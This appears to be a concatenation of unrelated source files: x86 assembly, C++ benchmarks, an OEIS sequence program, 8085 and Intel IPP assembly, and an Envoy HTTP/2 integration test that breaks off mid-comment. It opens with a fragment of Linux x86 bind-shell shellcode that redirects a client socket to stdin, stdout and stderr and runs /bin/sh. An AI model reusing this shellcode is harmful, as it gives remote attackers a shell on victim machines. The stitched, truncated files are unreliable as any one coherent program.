0x0, 0x0) push edx push edx push esi ; save memory location of listen parameters to ecx mov ecx, esp ; execute accept syscall int 0x80 ; save clientfd to ebx mov ebx, eax ; I/O Redirection ; sys_dup2 = 0x3f mov al, 0x3f ; dup2(clientfd,0) xor ecx, ecx ; execute dup2 syscall int 0x80 ; dup2(clientfd, 1) mov al, 0x3f inc ecx ; execute dup2 syscall int 0x80 ; dup2(clientfd, 2) mov al, 0x3f inc ecx ; execute dup2 syscall int 0x80 ; Execute shell ; execve = 0x0b mov al, 0x0b ; /bin//sh0x0 ; null terminate /bin//sh xor ebx, ebx push ebx ; push hs// push 0x68732f2f ; push nib/ push 0x6e69622f ; save memory location of execve parameters to ebx mov ebx, esp ; clear ecx and edx xor ecx, ecx xor edx, edx ; execute execve int 0x80
#include <benchmark/benchmark.h> #include "SegmentSet-generator.hpp" #include <omp.h> #include <iostream> PSET generate_test_set(int seed, int size){ rc::Random r(seed); auto generator = rc::gen::arbitrary<PSET>(); auto ret_val = generator(r,size).value(); std::cout << "set size = " << ret_val.segments.size() << std::endl; return ret_val; } static PSET lhs = generate_test_set(1,10000); static PSET rhs = generate_test_set(232,10000); static void BM_par_UNION(benchmark::State& state){ omp_set_num_threads(state.range(0)); for(auto _ : state){ auto result = lhs; result.UNION_par(rhs); benchmark::DoNotOptimize(result); } benchmark::DoNotOptimize(lhs); benchmark::DoNotOptimize(rhs); } static void BM_seq_UNION(benchmark::State& state){ for(auto _ : state){ auto result = lhs; result.UNION_seq(rhs); benchmark::DoNotOptimize(result); } benchmark::DoNotOptimize(lhs); benchmark::DoNotOptimize(rhs); } BENCHMARK(BM_seq_UNION); BENCHMARK(BM_par_UNION)->DenseRange(1,8); BENCHMARK_MAIN();
#include <cstdlib> #include <cstring> #include <algorithm> #include "cpu.h" #define GLOBAL_VALUE_DEFINE #include "include/common.hh" #include "include/result.hh" #include "include/util.hh" #include "../include/random.hh" #include "../include/util.hh" #include "tpcc_initializer.hpp" #include "tpcc_query.hpp" #include "tpcc_txn.hpp" #include "clock.h" using namespace std; void worker(size_t thid, char &ready, const bool &start, const bool &quit) try { #ifdef CCBENCH_LINUX ccbench::setThreadAffinity(thid); #endif std::uint64_t lcl_cmt_cnt{0}; std::uint64_t lcl_abt_cnt{0}; TPCC::Query query; Token token{}; enter(token); TPCC::query::Option query_opt; const uint16_t w_id = (thid % FLAGS_num_wh) + 1; // home warehouse. #if 1 // Load per warehouse if necessary. // thid in [0, num_th - 1]. // w_id in [1, FLAGS_num_wh]. // The worker thread of thid in [0, FLAGS_num_wh - 1] // should load data for the warehouse with w_id = thid + 1. size_t id = thid + 1; while (id <= FLAGS_num_wh) { //::printf("load for warehouse %u ...\n", id); TPCC::Initializer::load_per_warehouse(id); //::printf("load for warehouse %u done.\n", id); id += FLAGS_thread_num; } #endif TPCC::HistoryKeyGenerator hkg{}; hkg.init(thid, true); storeRelease(ready, 1); while (!loadAcquire(start)) _mm_pause(); while (!loadAcquire(quit)) { query.generate(w_id, query_opt); // TODO : add backoff work. if (loadAcquire(quit)) break; bool validation = true; switch (query.type) { case TPCC::Q_NEW_ORDER : validation = TPCC::run_new_order(&query.new_order, token); break; case TPCC::Q_PAYMENT : validation = TPCC::run_payment(&query.payment, &hkg, token); break; case TPCC::Q_ORDER_STATUS: //validation = TPCC::run_order_status(query.order_status); break; case TPCC::Q_DELIVERY: //validation = TPCC::run_delivery(query.delivery); break; case TPCC::Q_STOCK_LEVEL: //validation = TPCC::run_stock_level(query.stock_level); break; case TPCC::Q_NONE: break; [[maybe_unused]] defalut: std::abort(); } if (validation) { ++lcl_cmt_cnt; } else { ++lcl_abt_cnt; } } leave(token); SiloResult[thid].local_commit_counts_ = lcl_cmt_cnt; SiloResult[thid].local_abort_counts_ = lcl_abt_cnt; } catch (std::exception &e) { std::cout << "worker thread caught error " << e.what(); std::abort(); } int main(int argc, char *argv[]) try { gflags::SetUsageMessage("Silo benchmark."); gflags::ParseCommandLineFlags(&argc, &argv, true); chkArg(); init(); ccbench::StopWatch stopwatch; #if 0 TPCC::Initializer::load(); #else TPCC::Initializer::load_item(); // The remaining load will be processed by each worker threads. #endif alignas(CACHE_LINE_SIZE) bool start = false; alignas(CACHE_LINE_SIZE) bool quit = false; initResult(); std::vector<char> readys(FLAGS_thread_num); std::vector<std::thread> thv; for (size_t i = 0; i < FLAGS_thread_num; ++i) thv.emplace_back(worker, i, std::ref(readys[i]), std::ref(start), std::ref(quit)); waitForReady(readys); stopwatch.mark(); ::printf("load latency: %.3f sec.\n", stopwatch.period()); ::printf("starting workload...\n"); storeRelease(start, true); for (size_t i = 0; i < FLAGS_extime; ++i) { sleepMs(1000); } storeRelease(quit, true); for (auto &th : thv) th.join(); for (unsigned int i = 0; i < FLAGS_thread_num; ++i) { SiloResult[0].addLocalAllResult(SiloResult[i]); } SiloResult[0].displayAllResult(FLAGS_clocks_per_us, FLAGS_extime, FLAGS_thread_num); fin(); return 0; } catch (std::bad_alloc &) { std::cout << __FILE__ << " : " << __LINE__ << " : bad_alloc error." << std::endl; std::abort(); } catch (std::exception &e) { std::cout << __FILE__ << " : " << __LINE__ << " : std::exception caught : " << e.what() << std::endl; }
; A196513: a(n) = 1*4*7 + 4*7*10 + 7*10*13 + ... (n terms). ; 0,28,308,1218,3298,7250,13938,24388,39788,61488,91000,129998,180318,243958,323078,420000,537208,677348,843228,1037818,1264250,1525818,1825978,2168348,2556708,2995000,3487328,4037958,4651318,5331998,6084750,6914488,7826288,8825388,9917188,11107250,12401298,13805218,15325058,16967028,18737500,20643008,22690248,24886078,27237518,29751750,32436118,35298128,38345448,41585908,45027500,48678378,52546858,56641418,60970698,65543500,70368788,75455688,80813488,86451638,92379750,98607598,105145118,112002408,119189728,126717500,134596308,142836898,151450178,160447218,169839250,179637668,189854028,200500048,211587608,223128750,235135678,247620758,260596518,274075648,288071000,302595588,317662588,333285338,349477338,366252250,383623898,401606268,420213508,439459928,459360000,479928358,501179798,523129278,545791918,569183000,593317968,618212428,643882148,670343058,697611250,725702978,754634658,784422868,815084348,846636000,879094888,912478238,946803438,982088038,1018349750,1055606448,1093876168,1133177108,1173527628,1214946250,1257451658,1301062698,1345798378,1391677868,1438720500,1486945768,1536373328,1587022998,1638914758,1692068750,1746505278,1802244808,1859307968,1917715548,1977488500,2038647938,2101215138,2165211538,2230658738,2297578500,2365992748,2435923568,2507393208,2580424078,2655038750,2731259958,2809110598,2888613728,2969792568,3052670500,3137271068,3223617978,3311735098,3401646458,3493376250,3586948828,3682388708,3779720568,3878969248,3980159750,4083317238,4188467038,4295634638,4404845688,4516126000,4629501548,4744998468,4862643058,4982461778,5104481250,5228728258,5355229748,5484012828,5615104768,5748533000,5884325118,6022508878,6163112198,6306163158,6451690000,6599721128,6750285108,6903410668,7059126698,7217462250,7378446538,7542108938,7708478988,7877586388,8049461000,8224132848,8401632118,8581989158,8765234478,8951398750,9140512808,9332607648,9527714428,9725864468,9927089250,10131420418,10338889778,10549529298,10763371108,10980447500,11200790928,11424434008,11651409518,11881750398,12115489750,12352660838,12593297088,12837432088,13085099588,13336333500,13591167898,13849637018,14111775258,14377617178,14647197500,14920551108,15197713048,15478718528,15763602918,16052401750,16345150718,16641885678,16942642648,17247457808,17556367500,17869408228,18186616658,18508029618,18833684098,19163617250,19497866388,19836468988,20179462688,20526885288,20878774750,21235169198,21596106918,21961626358,22331766128,22706565000,23086061908,23470295948,23859306378,24253132618,24651814250,25055391018,25463902828,25877389748,26295892008 mul $0,3 mov $1,$0 add $0,5 mul $1,$0 mov $2,$1 sub $1,10 mul $1,$2 div $1,24 mul $1,2
LXI SP,5000 LXI H,4000 LXI B,4004 MVI D,04 ZONE: LDAX B ADD M STAX B INX B INX H DCR D JNZ ZONE RST 1
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .text .p2align 6, 0x90 .globl _k0_cpDiv_BNU32 _k0_cpDiv_BNU32: push %rbx push %rbp push %r12 push %r13 push %r14 push %r15 sub $(40), %rsp movslq %ecx, %rcx movslq %r9d, %r9 .L__000Dgas_1: mov (-4)(%rdx,%rcx,4), %eax test %eax, %eax jnz .L__000Egas_1 sub $(1), %rcx jg .L__000Dgas_1 add $(1), %rcx .L__000Egas_1: .L__000Fgas_1: mov (-4)(%r8,%r9,4), %eax test %eax, %eax jnz .L__0010gas_1 sub $(1), %r9 jg .L__000Fgas_1 add $(1), %r9 .L__0010gas_1: mov %rdx, %r10 mov %rcx, %r11 .Lspec_case1gas_1: cmp %r9, %rcx jae .Lspec_case2gas_1 test %rdi, %rdi jz .Lspec_case1_quitgas_1 movl $(0), (%rdi) movl $(1), (%rsi) .Lspec_case1_quitgas_1: mov %rcx, %rax add $(40), %rsp vzeroupper pop %r15 pop %r14 pop %r13 pop %r12 pop %rbp pop %rbx ret .Lspec_case2gas_1: cmp $(1), %r9 jnz .Lcommon_casegas_1 mov (%r8), %ebx xor %edx, %edx .Lspec_case2_loopgas_1: mov (-4)(%r10,%r11,4), %eax div %ebx test %rdi, %rdi je .Lspec_case2_contgas_1 mov %eax, (-4)(%rdi,%r11,4) .Lspec_case2_contgas_1: sub $(1), %r11 jg .Lspec_case2_loopgas_1 test %rdi, %rdi je .Lspec_case2_quitgas_1 .L__001Cgas_1: mov (-4)(%rdi,%rcx,4), %eax test %eax, %eax jnz .L__001Dgas_1 sub $(1), %rcx jg .L__001Cgas_1 add $(1), %rcx .L__001Dgas_1: movl %ecx, (%rsi) .Lspec_case2_quitgas_1: movl %edx, (%r10) mov $(1), %rax add $(40), %rsp vzeroupper pop %r15 pop %r14 pop %r13 pop %r12 pop %rbp pop %rbx ret .Lcommon_casegas_1: xor %eax, %eax mov %eax, (%r10,%r11,4) mov (-4)(%r8,%r9,4), %eax mov $(32), %ecx test %eax, %eax jz .L__002Egas_1 xor %ecx, %ecx .L__0029gas_1: test $(4294901760), %eax jnz .L__002Agas_1 shl $(16), %eax add $(16), %ecx .L__002Agas_1: test $(4278190080), %eax jnz .L__002Bgas_1 shl $(8), %eax add $(8), %ecx .L__002Bgas_1: test $(4026531840), %eax jnz .L__002Cgas_1 shl $(4), %eax add $(4), %ecx .L__002Cgas_1: test $(3221225472), %eax jnz .L__002Dgas_1 shl $(2), %eax add $(2), %ecx .L__002Dgas_1: test $(2147483648), %eax jnz .L__002Egas_1 add $(1), %ecx .L__002Egas_1: test %ecx, %ecx jz .Ldivisiongas_1 mov %r9, %r15 mov (-4)(%r8,%r15,4), %r12d sub $(1), %r15 jz .L__0030gas_1 .L__002Fgas_1: mov (-4)(%r8,%r15,4), %r13d shld %cl, %r13d, %r12d mov %r12d, (%r8,%r15,4) mov %r13d, %r12d sub $(1), %r15 jg .L__002Fgas_1 .L__0030gas_1: shl %cl, %r12d mov %r12d, (%r8) lea (1)(%r11), %r15 mov (-4)(%r10,%r15,4), %r12d sub $(1), %r15 jz .L__0032gas_1 .L__0031gas_1: mov (-4)(%r10,%r15,4), %r13d shld %cl, %r13d, %r12d mov %r12d, (%r10,%r15,4) mov %r13d, %r12d sub $(1), %r15 jg .L__0031gas_1 .L__0032gas_1: shl %cl, %r12d mov %r12d, (%r10) .Ldivisiongas_1: mov (-4)(%r8,%r9,4), %ebx mov %r10, (%rsp) mov %r11, (8)(%rsp) sub %r9, %r11 mov %r11, (16)(%rsp) lea (%r10,%r11,4), %r10 .Ldivision_loopgas_1: mov (-4)(%r10,%r9,4), %rax xor %rdx, %rdx div %rbx mov %rax, %r12 mov %rdx, %r13 mov (-8)(%r8,%r9,4), %ebp .Ltune_loopgas_1: mov $(18446744069414584320), %r15 and %rax, %r15 jne .Ltunegas_1 mul %rbp mov %r13, %r14 shl $(32), %r14 mov (-8)(%r10,%r9,4), %edx or %r14, %rdx cmp %rdx, %rax jbe .Lmul_and_subgas_1 .Ltunegas_1: sub $(1), %r12 add %ebx, %r13d mov %r12, %rax jnc .Ltune_loopgas_1 .Lmul_and_subgas_1: mov %r9, %r15 mov %r12d, %ebp xor %r13, %r13 xor %r14, %r14 sub $(2), %r15 jl .L__0034gas_1 .L__0033gas_1: mov (%r13,%r8), %rax mul %rbp add %r14, %rax adc $(0), %rdx xor %r14, %r14 sub %rax, (%r13,%r10) sbb %rdx, %r14 neg %r14 add $(8), %r13 sub $(2), %r15 jge .L__0033gas_1 add $(2), %r15 jz .L__0035gas_1 .L__0034gas_1: mov (%r13,%r8), %eax mul %ebp add %r14d, %eax adc $(0), %edx xor %r14d, %r14d sub %eax, (%r13,%r10) sbb %edx, %r14d neg %r14d .L__0035gas_1: mov %r14, %rbp sub %ebp, (%r10,%r9,4) jnc .Lstore_duotationgas_1 sub $(1), %r12d mov %r9, %r15 xor %rax, %rax xor %r13, %r13 sub $(2), %r15 jl .L__0037gas_1 clc .L__0036gas_1: mov (%r10,%r13,8), %r14 mov (%r8,%r13,8), %rdx adc %rdx, %r14 mov %r14, (%r10,%r13,8) inc %r13 dec %r15 dec %r15 jge .L__0036gas_1 setc %al add %r13, %r13 add $(2), %r15 jz .L__0038gas_1 .L__0037gas_1: shr $(1), %eax mov (%r10,%r13,4), %r14d mov (%r8,%r13,4), %edx adc %edx, %r14d mov %r14d, (%r10,%r13,4) setc %al add $(1), %r13 .L__0038gas_1: add %eax, (%r10,%r9,4) .Lstore_duotationgas_1: test %rdi, %rdi jz .Lcont_division_loopgas_1 movl %r12d, (%rdi,%r11,4) .Lcont_division_loopgas_1: sub $(4), %r10 sub $(1), %r11 jge .Ldivision_loopgas_1 mov (%rsp), %r10 mov (8)(%rsp), %r11 test %ecx, %ecx jz .Lstore_resultsgas_1 mov %r9, %r15 push %r8 mov (%r8), %r13d sub $(1), %r15 jz .L__003Agas_1 .L__0039gas_1: mov (4)(%r8), %r12d shrd %cl, %r12d, %r13d mov %r13d, (%r8) add $(4), %r8 mov %r12d, %r13d sub $(1), %r15 jg .L__0039gas_1 .L__003Agas_1: shr %cl, %r13d mov %r13d, (%r8) pop %r8 mov %r11, %r15 push %r10 mov (%r10), %r13d sub $(1), %r15 jz .L__003Cgas_1 .L__003Bgas_1: mov (4)(%r10), %r12d shrd %cl, %r12d, %r13d mov %r13d, (%r10) add $(4), %r10 mov %r12d, %r13d sub $(1), %r15 jg .L__003Bgas_1 .L__003Cgas_1: shr %cl, %r13d mov %r13d, (%r10) pop %r10 .Lstore_resultsgas_1: test %rdi, %rdi jz .Lquitgas_1 mov (16)(%rsp), %rcx add $(1), %rcx .L__003Dgas_1: mov (-4)(%rdi,%rcx,4), %eax test %eax, %eax jnz .L__003Egas_1 sub $(1), %rcx jg .L__003Dgas_1 add $(1), %rcx .L__003Egas_1: movl %ecx, (%rsi) .Lquitgas_1: .L__003Fgas_1: mov (-4)(%r10,%r11,4), %eax test %eax, %eax jnz .L__0040gas_1 sub $(1), %r11 jg .L__003Fgas_1 add $(1), %r11 .L__0040gas_1: mov %r11, %rax add $(40), %rsp vzeroupper pop %r15 pop %r14 pop %r13 pop %r12 pop %rbp pop %rbx ret
; uchar esxdos_f_readdir(uchar handle, void *buf) SECTION code_clib SECTION code_esxdos PUBLIC _esxdos_f_readdir EXTERN l0_esxdos_f_readdir_callee _esxdos_f_readdir: pop de dec sp pop af pop hl push hl dec sp push de jp l0_esxdos_f_readdir_callee
#include "test/integration/multiplexed_integration_test.h" #include <algorithm> #include <string> #include "envoy/config/bootstrap/v3/bootstrap.pb.h" #include "envoy/config/cluster/v3/cluster.pb.h" #include "envoy/extensions/filters/network/http_connection_manager/v3/http_connection_manager.pb.h" #include "common/buffer/buffer_impl.h" #include "common/common/random_generator.h" #include "common/http/header_map_impl.h" #include "test/integration/filters/stop_and_continue_filter_config.pb.h" #include "test/integration/utility.h" #include "test/mocks/http/mocks.h" #include "test/test_common/network_utility.h" #include "test/test_common/printers.h" #include "test/test_common/utility.h" #include "gtest/gtest.h" using ::testing::HasSubstr; using ::testing::MatchesRegex; namespace Envoy { // TODO(#2557) fix all the failures. #define EXCLUDE_DOWNSTREAM_HTTP3 \ if (downstreamProtocol() == Http::CodecType::HTTP3) { \ return; \ } INSTANTIATE_TEST_SUITE_P(IpVersions, Http2IntegrationTest, testing::ValuesIn(HttpProtocolIntegrationTest::getProtocolTestParams( {Http::CodecType::HTTP2, Http::CodecType::HTTP3}, {Http::CodecType::HTTP1})), HttpProtocolIntegrationTest::protocolTestParamsToString); TEST_P(Http2IntegrationTest, RouterRequestAndResponseWithBodyNoBuffer) { testRouterRequestAndResponseWithBody(1024, 512, false, false); } TEST_P(Http2IntegrationTest, RouterRequestAndResponseWithGiantBodyNoBuffer) { config_helper_.addConfigModifier(ConfigHelper::adjustUpstreamTimeoutForTsan); testRouterRequestAndResponseWithBody(10 * 1024 * 1024, 10 * 1024 * 1024, false, false, nullptr, TSAN_TIMEOUT_FACTOR * TestUtility::DefaultTimeout); } TEST_P(Http2IntegrationTest, FlowControlOnAndGiantBody) { config_helper_.addConfigModifier(ConfigHelper::adjustUpstreamTimeoutForTsan); config_helper_.setBufferLimits(1024, 1024); // Set buffer limits upstream and downstream. testRouterRequestAndResponseWithBody(10 * 1024 * 1024, 10 * 1024 * 1024, false, false, nullptr, TSAN_TIMEOUT_FACTOR * TestUtility::DefaultTimeout); } TEST_P(Http2IntegrationTest, LargeFlowControlOnAndGiantBody) { config_helper_.addConfigModifier(ConfigHelper::adjustUpstreamTimeoutForTsan); config_helper_.setBufferLimits(128 * 1024, 128 * 1024); // Set buffer limits upstream and downstream. testRouterRequestAndResponseWithBody(10 * 1024 * 1024, 10 * 1024 * 1024, false, false, nullptr, TSAN_TIMEOUT_FACTOR * TestUtility::DefaultTimeout); } TEST_P(Http2IntegrationTest, RouterRequestAndResponseWithBodyAndContentLengthNoBuffer) { testRouterRequestAndResponseWithBody(1024, 512, false, true); } TEST_P(Http2IntegrationTest, RouterRequestAndResponseWithGiantBodyAndContentLengthNoBuffer) { config_helper_.addConfigModifier(ConfigHelper::adjustUpstreamTimeoutForTsan); testRouterRequestAndResponseWithBody(10 * 1024 * 1024, 10 * 1024 * 1024, false, true, nullptr, TSAN_TIMEOUT_FACTOR * TestUtility::DefaultTimeout); } TEST_P(Http2IntegrationTest, FlowControlOnAndGiantBodyWithContentLength) { config_helper_.addConfigModifier(ConfigHelper::adjustUpstreamTimeoutForTsan); config_helper_.setBufferLimits(1024, 1024); // Set buffer limits upstream and downstream. testRouterRequestAndResponseWithBody(10 * 1024 * 1024, 10 * 1024 * 1024, false, true, nullptr, TSAN_TIMEOUT_FACTOR * TestUtility::DefaultTimeout); } TEST_P(Http2IntegrationTest, LargeFlowControlOnAndGiantBodyWithContentLength) { config_helper_.addConfigModifier(ConfigHelper::adjustUpstreamTimeoutForTsan); config_helper_.setBufferLimits(128 * 1024, 128 * 1024); // Set buffer limits upstream and downstream. testRouterRequestAndResponseWithBody(10 * 1024 * 1024, 10 * 1024 * 1024, false, true, nullptr, TSAN_TIMEOUT_FACTOR * TestUtility::DefaultTimeout); } TEST_P(Http2IntegrationTest, RouterHeaderOnlyRequestAndResponseNoBuffer) { testRouterHeaderOnlyRequestAndResponse(); } TEST_P(Http2IntegrationTest, RouterRequestAndResponseLargeHeaderNoBuffer) { testRouterRequestAndResponseWithBody(1024, 512, true); } TEST_P(Http2IntegrationTest, RouterUpstreamDisconnectBeforeRequestcomplete) { testRouterUpstreamDisconnectBeforeRequestComplete(); } TEST_P(Http2IntegrationTest, RouterUpstreamDisconnectBeforeResponseComplete) { testRouterUpstreamDisconnectBeforeResponseComplete(); } TEST_P(Http2IntegrationTest, RouterDownstreamDisconnectBeforeRequestComplete) { testRouterDownstreamDisconnectBeforeRequestComplete(); } TEST_P(Http2IntegrationTest, RouterDownstreamDisconnectBeforeResponseComplete) { testRouterDownstreamDisconnectBeforeResponseComplete(); } TEST_P(Http2IntegrationTest, RouterUpstreamResponseBeforeRequestComplete) { testRouterUpstreamResponseBeforeRequestComplete(); } TEST_P(Http2IntegrationTest, Retry) { testRetry(); } TEST_P(Http2IntegrationTest, RetryAttemptCount) { testRetryAttemptCountHeader(); } TEST_P(Http2IntegrationTest, LargeRequestTrailersRejected) { testLargeRequestTrailers(66, 60); } // Verify downstream codec stream flush timeout. TEST_P(Http2IntegrationTest, CodecStreamIdleTimeout) { EXCLUDE_DOWNSTREAM_HTTP3; // Need to support stream_idle_timeout. config_helper_.setBufferLimits(1024, 1024); config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { hcm.mutable_stream_idle_timeout()->set_seconds(0); constexpr uint64_t IdleTimeoutMs = 400; hcm.mutable_stream_idle_timeout()->set_nanos(IdleTimeoutMs * 1000 * 1000); }); initialize(); envoy::config::core::v3::Http2ProtocolOptions http2_options = ::Envoy::Http2::Utility::initializeAndValidateOptions( envoy::config::core::v3::Http2ProtocolOptions()); http2_options.mutable_initial_stream_window_size()->set_value(65535); codec_client_ = makeRawHttpConnection(makeClientConnection(lookupPort("http")), http2_options); auto response = codec_client_->makeHeaderOnlyRequest(default_request_headers_); waitForNextUpstreamRequest(); upstream_request_->encodeHeaders(default_response_headers_, false); upstream_request_->encodeData(70000, true); test_server_->waitForCounterEq("http2.tx_flush_timeout", 1); ASSERT_TRUE(response->waitForReset()); } TEST_P(Http2IntegrationTest, Http2DownstreamKeepalive) { // TODO(#16751) Need to support keepalive. EXCLUDE_DOWNSTREAM_HTTP3; constexpr uint64_t interval_ms = 1; constexpr uint64_t timeout_ms = 250; config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { hcm.mutable_http2_protocol_options() ->mutable_connection_keepalive() ->mutable_interval() ->set_nanos(interval_ms * 1000 * 1000); hcm.mutable_http2_protocol_options() ->mutable_connection_keepalive() ->mutable_timeout() ->set_nanos(timeout_ms * 1000 * 1000); }); initialize(); codec_client_ = makeHttpConnection(makeClientConnection(lookupPort("http"))); auto response = codec_client_->makeHeaderOnlyRequest(default_request_headers_); waitForNextUpstreamRequest(); // This call is NOT running the event loop of the client, so downstream PINGs will // not receive a response. test_server_->waitForCounterEq("http2.keepalive_timeout", 1, std::chrono::milliseconds(timeout_ms * 2)); ASSERT_TRUE(response->waitForReset()); } static std::string response_metadata_filter = R"EOF( name: response-metadata-filter typed_config: "@type": type.googleapis.com/google.protobuf.Empty )EOF"; // Verifies metadata can be sent at different locations of the responses. TEST_P(Http2MetadataIntegrationTest, ProxyMetadataInResponse) { initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Sends the first request. auto response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); // Sends metadata before response header. const std::string key = "key"; std::string value = std::string(80 * 1024, '1'); Http::MetadataMap metadata_map = {{key, value}}; Http::MetadataMapPtr metadata_map_ptr = std::make_unique<Http::MetadataMap>(metadata_map); Http::MetadataMapVector metadata_map_vector; metadata_map_vector.push_back(std::move(metadata_map_ptr)); upstream_request_->encodeMetadata(metadata_map_vector); upstream_request_->encodeHeaders(default_response_headers_, false); upstream_request_->encodeData(12, true); // Verifies metadata is received by the client. ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); EXPECT_EQ(response->metadataMap().find(key)->second, value); EXPECT_EQ(1, response->metadataMapsDecodedCount()); // Sends the second request. response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); // Sends metadata after response header followed by an empty data frame with end_stream true. value = std::string(10, '2'); upstream_request_->encodeHeaders(default_response_headers_, false); metadata_map = {{key, value}}; metadata_map_ptr = std::make_unique<Http::MetadataMap>(metadata_map); metadata_map_vector.erase(metadata_map_vector.begin()); metadata_map_vector.push_back(std::move(metadata_map_ptr)); upstream_request_->encodeMetadata(metadata_map_vector); upstream_request_->encodeData(0, true); // Verifies metadata is received by the client. ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); EXPECT_EQ(response->metadataMap().find(key)->second, value); EXPECT_EQ(1, response->metadataMapsDecodedCount()); // Sends the third request. response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); // Sends metadata after response header and before data. value = std::string(10, '3'); upstream_request_->encodeHeaders(default_response_headers_, false); metadata_map = {{key, value}}; metadata_map_ptr = std::make_unique<Http::MetadataMap>(metadata_map); metadata_map_vector.erase(metadata_map_vector.begin()); metadata_map_vector.push_back(std::move(metadata_map_ptr)); upstream_request_->encodeMetadata(metadata_map_vector); upstream_request_->encodeData(10, true); // Verifies metadata is received by the client. ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); EXPECT_EQ(response->metadataMap().find(key)->second, value); EXPECT_EQ(1, response->metadataMapsDecodedCount()); // Sends the fourth request. response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); // Sends metadata between data frames. value = std::string(10, '4'); upstream_request_->encodeHeaders(default_response_headers_, false); upstream_request_->encodeData(10, false); metadata_map = {{key, value}}; metadata_map_ptr = std::make_unique<Http::MetadataMap>(metadata_map); metadata_map_vector.erase(metadata_map_vector.begin()); metadata_map_vector.push_back(std::move(metadata_map_ptr)); upstream_request_->encodeMetadata(metadata_map_vector); upstream_request_->encodeData(10, true); // Verifies metadata is received by the client. ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); EXPECT_EQ(response->metadataMap().find(key)->second, value); EXPECT_EQ(1, response->metadataMapsDecodedCount()); // Sends the fifth request. response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); // Sends metadata after the last non-empty data frames. value = std::string(10, '5'); upstream_request_->encodeHeaders(default_response_headers_, false); upstream_request_->encodeData(10, false); metadata_map = {{key, value}}; metadata_map_ptr = std::make_unique<Http::MetadataMap>(metadata_map); metadata_map_vector.erase(metadata_map_vector.begin()); metadata_map_vector.push_back(std::move(metadata_map_ptr)); upstream_request_->encodeMetadata(metadata_map_vector); upstream_request_->encodeData(0, true); // Verifies metadata is received by the client. ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); EXPECT_EQ(response->metadataMap().find(key)->second, value); EXPECT_EQ(1, response->metadataMapsDecodedCount()); // Sends the sixth request. response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); // Sends metadata before reset. value = std::string(10, '6'); upstream_request_->encodeHeaders(default_response_headers_, false); upstream_request_->encodeData(10, false); metadata_map = {{key, value}}; metadata_map_ptr = std::make_unique<Http::MetadataMap>(metadata_map); metadata_map_vector.erase(metadata_map_vector.begin()); metadata_map_vector.push_back(std::move(metadata_map_ptr)); upstream_request_->encodeMetadata(metadata_map_vector); upstream_request_->encodeResetStream(); // Verifies stream is reset. ASSERT_TRUE(response->waitForReset()); ASSERT_FALSE(response->complete()); // The cluster should have received the reset. // The downstream codec should send one. std::string counter = absl::StrCat("cluster.cluster_0.", upstreamProtocolStatsRoot(), ".rx_reset"); test_server_->waitForCounterEq(counter, 1); } TEST_P(Http2MetadataIntegrationTest, ProxyMultipleMetadata) { initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Sends a request. auto response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); const int size = 4; std::vector<Http::MetadataMapVector> multiple_vecs(size); for (int i = 0; i < size; i++) { Random::RandomGeneratorImpl random; int value_size = random.random() % Http::METADATA_MAX_PAYLOAD_SIZE + 1; Http::MetadataMap metadata_map = {{std::string(i, 'a'), std::string(value_size, 'b')}}; Http::MetadataMapPtr metadata_map_ptr = std::make_unique<Http::MetadataMap>(metadata_map); multiple_vecs[i].push_back(std::move(metadata_map_ptr)); } upstream_request_->encodeMetadata(multiple_vecs[0]); upstream_request_->encodeHeaders(default_response_headers_, false); upstream_request_->encodeMetadata(multiple_vecs[1]); upstream_request_->encodeData(12, false); upstream_request_->encodeMetadata(multiple_vecs[2]); upstream_request_->encodeData(12, false); upstream_request_->encodeMetadata(multiple_vecs[3]); upstream_request_->encodeData(12, true); // Verifies multiple metadata are received by the client. ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); EXPECT_EQ(4, response->metadataMapsDecodedCount()); for (int i = 0; i < size; i++) { for (const auto& metadata : *multiple_vecs[i][0]) { EXPECT_EQ(response->metadataMap().find(metadata.first)->second, metadata.second); } } EXPECT_EQ(response->metadataMap().size(), multiple_vecs.size()); } TEST_P(Http2MetadataIntegrationTest, ProxyInvalidMetadata) { initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Sends a request. auto response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); // Sends over-sized 